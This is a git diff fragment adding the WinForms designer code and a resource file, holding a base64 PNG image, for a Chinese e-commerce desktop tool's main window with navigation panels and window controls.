System.Drawing.StringAlignment.Center; + this.pnlOrder.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlOrder.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlOrder.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlOrder.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlOrder.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlOrder.Style.BackgroundImage"))); + this.pnlOrder.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlOrder.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlOrder.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlOrder.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlOrder.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlOrder.Style.GradientAngle = 90; + this.pnlOrder.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlOrder.Style.MarginTop = 63; + this.pnlOrder.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlOrder.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlOrder.StyleMouseOver.BackgroundImage"))); + this.pnlOrder.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlOrder.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlOrder.StyleMouseOver.MarginTop = 63; + this.pnlOrder.TabIndex = 8; + this.pnlOrder.Text = "订单管理"; + this.pnlOrder.Visible = false; + this.pnlOrder.Click += new System.EventHandler(this.pnlOrder_Click); + // + // pbLogo + // + this.pbLogo.Image = global::LittleRabbit.Properties.Resources.main_form_logo; + this.pbLogo.Location = new System.Drawing.Point(10, 15); + this.pbLogo.Name = "pbLogo"; + this.pbLogo.Size = new System.Drawing.Size(180, 60); + this.pbLogo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbLogo.TabIndex = 0; + this.pbLogo.TabStop = false; + this.pbLogo.Click += new System.EventHandler(this.logo_Click); + // + // lklbGetHwCode + // + this.lklbGetHwCode.AutoSize = true; + this.lklbGetHwCode.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lklbGetHwCode.LinkColor = System.Drawing.Color.WhiteSmoke; + this.lklbGetHwCode.Location = new System.Drawing.Point(125, 2); + this.lklbGetHwCode.Name = "lklbGetHwCode"; + this.lklbGetHwCode.Size = new System.Drawing.Size(54, 15); + this.lklbGetHwCode.TabIndex = 89; + this.lklbGetHwCode.TabStop = true; + this.lklbGetHwCode.Text = "HwCode"; + this.lklbGetHwCode.Visible = false; + this.lklbGetHwCode.Click += new System.EventHandler(this.lklbGetHwCode_Click); + // + // plTopRight + // + this.plTopRight.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.plTopRight.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("plTopRight.BackgroundImage"))); + this.plTopRight.Controls.Add(this.lblContactSupport); + this.plTopRight.Controls.Add(this.picPinDuoDuoToken); + this.plTopRight.Controls.Add(this.pbAnnouncement); + this.plTopRight.Controls.Add(this.lblVersionName); + this.plTopRight.Controls.Add(this.lblVersionInfo); + this.plTopRight.Controls.Add(this.max); + this.plTopRight.Controls.Add(this.min); + this.plTopRight.Controls.Add(this.close); + this.plTopRight.Location = new System.Drawing.Point(1028, 0); + this.plTopRight.Margin = new System.Windows.Forms.Padding(0); + this.plTopRight.Name = "plTopRight"; + this.plTopRight.Size = new System.Drawing.Size(250, 90); + this.plTopRight.TabIndex = 0; + this.plTopRight.DoubleClick += new System.EventHandler(this.plTopRight_DoubleClick); + this.plTopRight.MouseDown += new System.Windows.Forms.MouseEventHandler(this.plTopRight_MouseDown); + this.plTopRight.MouseMove += new System.Windows.Forms.MouseEventHandler(this.plTopRight_MouseMove); + this.plTopRight.MouseUp += new System.Windows.Forms.MouseEventHandler(this.plTopRight_MouseUp); + // + // lblContactSupport + // + this.lblContactSupport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblContactSupport.AutoSize = true; + this.lblContactSupport.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.lblContactSupport.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblContactSupport.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblContactSupport.Font = new System.Drawing.Font("微软雅黑", 10.5F); + this.lblContactSupport.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.lblContactSupport.Location = new System.Drawing.Point(101, 2); + this.lblContactSupport.Name = "lblContactSupport"; + this.lblContactSupport.Size = new System.Drawing.Size(65, 23); + this.lblContactSupport.TabIndex = 67; + this.lblContactSupport.Text = "联系客服"; + this.lblContactSupport.Visible = false; + this.lblContactSupport.Click += new System.EventHandler(this.lblContactSupport_Click); + // + // picPinDuoDuoToken + // + this.picPinDuoDuoToken.Cursor = System.Windows.Forms.Cursors.Hand; + this.picPinDuoDuoToken.Image = ((System.Drawing.Image)(resources.GetObject("picPinDuoDuoToken.Image"))); + this.picPinDuoDuoToken.Location = new System.Drawing.Point(144, 3); + this.picPinDuoDuoToken.Name = "picPinDuoDuoToken"; + this.picPinDuoDuoToken.Size = new System.Drawing.Size(23, 23); + this.picPinDuoDuoToken.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.picPinDuoDuoToken.TabIndex = 57; + this.picPinDuoDuoToken.TabStop = false; + this.tpMainForm.SetToolTip(this.picPinDuoDuoToken, "系统设置"); + this.picPinDuoDuoToken.Visible = false; + this.picPinDuoDuoToken.Click += new System.EventHandler(this.PicPinDuoDuoToken_Click); + // + // pbAnnouncement + // + this.pbAnnouncement.BackColor = System.Drawing.Color.Transparent; + this.pbAnnouncement.Image = ((System.Drawing.Image)(resources.GetObject("pbAnnouncement.Image"))); + this.pbAnnouncement.Location = new System.Drawing.Point(115, 3); + this.pbAnnouncement.Name = "pbAnnouncement"; + this.pbAnnouncement.Size = new System.Drawing.Size(23, 23); + this.pbAnnouncement.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbAnnouncement.TabIndex = 57; + this.pbAnnouncement.TabStop = false; + this.tpMainForm.SetToolTip(this.pbAnnouncement, "产品公告"); + this.pbAnnouncement.Visible = false; + this.pbAnnouncement.Click += new System.EventHandler(this.pbAnnouncement_Click); + this.pbAnnouncement.MouseEnter += new System.EventHandler(this.pbAnnouncement_MouseEnter); + this.pbAnnouncement.MouseLeave += new System.EventHandler(this.pbAnnouncement_MouseLeave); + // + // lblVersionName + // + this.lblVersionName.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + // + // + // + this.lblVersionName.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblVersionName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblVersionName.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0))))); + this.lblVersionName.Location = new System.Drawing.Point(164, 35); + this.lblVersionName.Name = "lblVersionName"; + this.lblVersionName.Size = new System.Drawing.Size(74, 17); + this.lblVersionName.TabIndex = 20; + this.lblVersionName.Text = "版本类型"; + this.lblVersionName.TextAlignment = System.Drawing.StringAlignment.Far; + this.lblVersionName.Click += new System.EventHandler(this.lblVersionName_Click); + // + // lblVersionInfo + // + this.lblVersionInfo.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + // + // + // + this.lblVersionInfo.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblVersionInfo.Font = new System.Drawing.Font("微软雅黑", 9F); + this.lblVersionInfo.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(159)))), ((int)(((byte)(165)))), ((int)(((byte)(204))))); + this.lblVersionInfo.Location = new System.Drawing.Point(3, 58); + this.lblVersionInfo.Name = "lblVersionInfo"; + this.lblVersionInfo.Size = new System.Drawing.Size(235, 16); + this.lblVersionInfo.TabIndex = 2; + this.lblVersionInfo.Text = "版本信息"; + this.lblVersionInfo.TextAlignment = System.Drawing.StringAlignment.Far; + // + // max + // + this.max.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.max.CanvasColor = System.Drawing.SystemColors.Control; + this.max.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.max.Cursor = System.Windows.Forms.Cursors.Hand; + this.max.DisabledBackColor = System.Drawing.Color.Empty; + this.max.Location = new System.Drawing.Point(199, 6); + this.max.Name = "max"; + this.max.Size = new System.Drawing.Size(16, 16); + this.max.Style.Alignment = System.Drawing.StringAlignment.Center; + this.max.Style.BackColor1.Alpha = ((byte)(0)); + this.max.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.max.Style.BackColor2.Alpha = ((byte)(0)); + this.max.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.max.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("max.Style.BackgroundImage"))); + this.max.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.max.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.max.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.max.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.max.Style.GradientAngle = 90; + this.max.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("max.StyleMouseOver.BackgroundImage"))); + this.max.TabIndex = 10; + this.max.Click += new System.EventHandler(this.max_Click); + // + // min + // + this.min.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.min.CanvasColor = System.Drawing.SystemColors.Control; + this.min.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.min.Cursor = System.Windows.Forms.Cursors.Hand; + this.min.DisabledBackColor = System.Drawing.Color.Empty; + this.min.Location = new System.Drawing.Point(173, 6); + this.min.Name = "min"; + this.min.Size = new System.Drawing.Size(16, 16); + this.min.Style.Alignment = System.Drawing.StringAlignment.Center; + this.min.Style.BackColor1.Alpha = ((byte)(0)); + this.min.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.min.Style.BackColor2.Alpha = ((byte)(0)); + this.min.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.min.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("min.Style.BackgroundImage"))); + this.min.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.min.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.min.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.min.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.min.Style.GradientAngle = 90; + this.min.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("min.StyleMouseOver.BackgroundImage"))); + this.min.TabIndex = 6; + this.min.Click += new System.EventHandler(this.min_Click); + // + // close + // + this.close.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.close.CanvasColor = System.Drawing.SystemColors.Control; + this.close.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.close.Cursor = System.Windows.Forms.Cursors.Hand; + this.close.DisabledBackColor = System.Drawing.Color.Empty; + this.close.Location = new System.Drawing.Point(225, 6); + this.close.Name = "close"; + this.close.Size = new System.Drawing.Size(16, 16); + this.close.Style.Alignment = System.Drawing.StringAlignment.Center; + this.close.Style.BackColor1.Alpha = ((byte)(0)); + this.close.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.close.Style.BackColor2.Alpha = ((byte)(0)); + this.close.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.close.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("close.Style.BackgroundImage"))); + this.close.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.close.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.close.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.close.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.close.Style.GradientAngle = 90; + this.close.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("close.StyleMouseOver.BackgroundImage"))); + this.close.TabIndex = 5; + this.close.Click += new System.EventHandler(this.close_Click); + // + // btnDyCollect + // + this.btnDyCollect.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnDyCollect.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnDyCollect.Location = new System.Drawing.Point(985, 43); + this.btnDyCollect.Name = "btnDyCollect"; + this.btnDyCollect.Size = new System.Drawing.Size(135, 23); + this.btnDyCollect.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnDyCollect.TabIndex = 130; + this.btnDyCollect.Text = "抖音详情采集"; + this.btnDyCollect.Visible = false; + this.btnDyCollect.Click += new System.EventHandler(this.btnDyCollect_Click); + // + // btnTest + // + this.btnTest.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnTest.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnTest.Location = new System.Drawing.Point(985, 12); + this.btnTest.Name = "btnTest"; + this.btnTest.Size = new System.Drawing.Size(135, 23); + this.btnTest.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnTest.TabIndex = 4; + this.btnTest.Text = "工具测试"; + this.btnTest.Visible = false; + this.btnTest.Click += new System.EventHandler(this.btnTest_Click); + // + // bodyPanelBg + // + this.bodyPanelBg.CanvasColor = System.Drawing.SystemColors.Control; + this.bodyPanelBg.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.bodyPanelBg.Controls.Add(this.bodyPanel); + this.bodyPanelBg.DisabledBackColor = System.Drawing.Color.Empty; + this.bodyPanelBg.Dock = System.Windows.Forms.DockStyle.Fill; + this.bodyPanelBg.Location = new System.Drawing.Point(0, 90); + this.bodyPanelBg.Margin = new System.Windows.Forms.Padding(0); + this.bodyPanelBg.Name = "bodyPanelBg"; + this.bodyPanelBg.Size = new System.Drawing.Size(1278, 628); + this.bodyPanelBg.Style.Alignment = System.Drawing.StringAlignment.Center; + this.bodyPanelBg.Style.BackColor1.Color = System.Drawing.Color.White; + this.bodyPanelBg.Style.BackColor2.Color = System.Drawing.Color.White; + this.bodyPanelBg.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); + this.bodyPanelBg.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(192)))), ((int)(((byte)(192))))); + this.bodyPanelBg.Style.GradientAngle = 90; + this.bodyPanelBg.TabIndex = 1; + // + // bodyPanel + // + this.bodyPanel.CanvasColor = System.Drawing.SystemColors.Control; + this.bodyPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.bodyPanel.Controls.Add(this.pnlWebBrowserJS); + this.bodyPanel.Controls.Add(this.btnDyCollect); + this.bodyPanel.Controls.Add(this.btnTest); + this.bodyPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.bodyPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.bodyPanel.Location = new System.Drawing.Point(0, 0); + this.bodyPanel.Name = "bodyPanel"; + this.bodyPanel.Size = new System.Drawing.Size(1278, 628); + this.bodyPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.bodyPanel.Style.BackColor1.Alpha = ((byte)(0)); + this.bodyPanel.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.bodyPanel.Style.BackColor2.Alpha = ((byte)(0)); + this.bodyPanel.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.bodyPanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.bodyPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.bodyPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.bodyPanel.Style.BorderWidth = 0; + this.bodyPanel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.bodyPanel.Style.GradientAngle = 90; + this.bodyPanel.StyleMouseOver.BackColor1.Alpha = ((byte)(0)); + this.bodyPanel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.Transparent; + this.bodyPanel.TabIndex = 0; + this.bodyPanel.Visible = false; + // + // pnlWebBrowserJS + // + this.pnlWebBrowserJS.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlWebBrowserJS.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlWebBrowserJS.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlWebBrowserJS.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlWebBrowserJS.Location = new System.Drawing.Point(1132, 12); + this.pnlWebBrowserJS.Name = "pnlWebBrowserJS"; + this.pnlWebBrowserJS.Size = new System.Drawing.Size(135, 71); + this.pnlWebBrowserJS.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlWebBrowserJS.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.pnlWebBrowserJS.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.pnlWebBrowserJS.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlWebBrowserJS.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlWebBrowserJS.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlWebBrowserJS.Style.GradientAngle = 90; + this.pnlWebBrowserJS.TabIndex = 0; + this.pnlWebBrowserJS.Text = "WebBrowserJS"; + this.pnlWebBrowserJS.Visible = false; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tableLayoutPanel1.ColumnCount = 1; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Controls.Add(this.bodyPanelBg, 0, 1); + this.tableLayoutPanel1.Controls.Add(this.navPanel, 0, 0); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(1, 1); + this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 2; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 90F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(1278, 718); + this.tableLayoutPanel1.TabIndex = 5; + // + // tpMainForm + // + this.tpMainForm.AutomaticDelay = 300; + // + // MainForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoSize = true; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(98)))), ((int)(((byte)(200))))); + this.ClientSize = new System.Drawing.Size(1280, 720); + this.Controls.Add(this.tableLayoutPanel1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(1280, 680); + this.Name = "MainForm"; + this.Padding = new System.Windows.Forms.Padding(1); + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "小奶牛"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.MainForm_FormClosed); + this.Load += new System.EventHandler(this.MainForm_Load); + this.Resize += new System.EventHandler(this.MainForm_Resize); + this.navPanel.ResumeLayout(false); + this.navPanel.PerformLayout(); + this.flowLayoutPanel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).EndInit(); + this.plTopRight.ResumeLayout(false); + this.plTopRight.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picPinDuoDuoToken)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbAnnouncement)).EndInit(); + this.bodyPanelBg.ResumeLayout(false); + this.bodyPanel.ResumeLayout(false); + this.tableLayoutPanel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx navPanel; + private DevComponents.DotNetBar.PanelEx bodyPanelBg; + private DevComponents.DotNetBar.LabelX lblVersionInfo; + private DevComponents.DotNetBar.PanelEx close; + private DevComponents.DotNetBar.PanelEx min; + private DevComponents.DotNetBar.PanelEx pnlOrder; + public DevComponents.DotNetBar.PanelEx bodyPanel; + private DevComponents.DotNetBar.PanelEx max; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Panel plTopRight; + private DevComponents.DotNetBar.LabelX lblVersionName; + private System.Windows.Forms.PictureBox pbAnnouncement; + private System.Windows.Forms.ToolTip tpMainForm; + private System.Windows.Forms.PictureBox picPinDuoDuoToken; + private DevComponents.DotNetBar.PanelEx pnlWebBrowserJS; + internal LinkLabelLc lklbGetHwCode; + private DevComponents.DotNetBar.ButtonX btnTest; + private DevComponents.DotNetBar.ButtonX btnDyCollect; + public DevComponents.DotNetBar.PanelEx pnlShop; + public DevComponents.DotNetBar.PanelEx pnlUpload; + public DevComponents.DotNetBar.PanelEx pnlTools; + public DevComponents.DotNetBar.PanelEx pnlCollect; + private System.Windows.Forms.PictureBox pbLogo; + private DevComponents.DotNetBar.LabelX lblContactSupport; + public DevComponents.DotNetBar.PanelEx pnlMarket; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + } +} + diff --git a/TEMUKJD/MainForm.resx b/TEMUKJD/MainForm.resx new file mode 100644 index 0000000..68d5f4f --- /dev/null +++ b/TEMUKJD/MainForm.resx @@ -0,0 +1,2171 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + XPt6/LTiZ7FO48i+vAtRSEiRuU81DnMtZl7TeDL1c3ot+tiWyVcsi/Sj57rIU/Xoj3LKfCx3dasVkFXV + zuugtUNPF+PTenpaMYy+dsJirquaPGfDu6bLpj6rNWhiWqrSaFlO0SCpmThVUxVZVadK5ZrqSG4N6tJr + 4rpsaXQ1o7djw/qvknxi9F8dWaTXo/dyOj3sTNs4jCarToN+Xaxp/SRSzSLCnXiKeChSFHrKIqmVPiXS + k3gm6Hj4+pSr66WXwPVyi7jlCf7ETD1y1aFvavGTzZvp4v6zDa0A2808qqO6U1Q7kzWt1XQle3PkMzpx + bpid6pmeTvrsZVatGk8xkbJ0E3KIlPkl1X7uYZ4zWOXjJaRmUvRyVpH/eGbisvyY9dmOsxN/L9UZel59 + 9cD3Zgfe7SnrXKnu98Q7eU3N5vURUalbneR41GPQdu71xZHY1dceBY+50a2nnnf0MWWsqYaPYfPay7xz + THBk0lnru2YxSXoTWhRRzwmR+m9j97wS9V+7zo/XiuUqzohpf3x9+vf0fvr/7Zj7THHG6V2OV5WuI+YI + 2G8IXWh7K9aAmjVlhDZKpz33jrEbFq9oN8zOszKsxJykZQ1a7kTKiEG6oHb2+m6S7SNJ9awXv7tMeoiR + 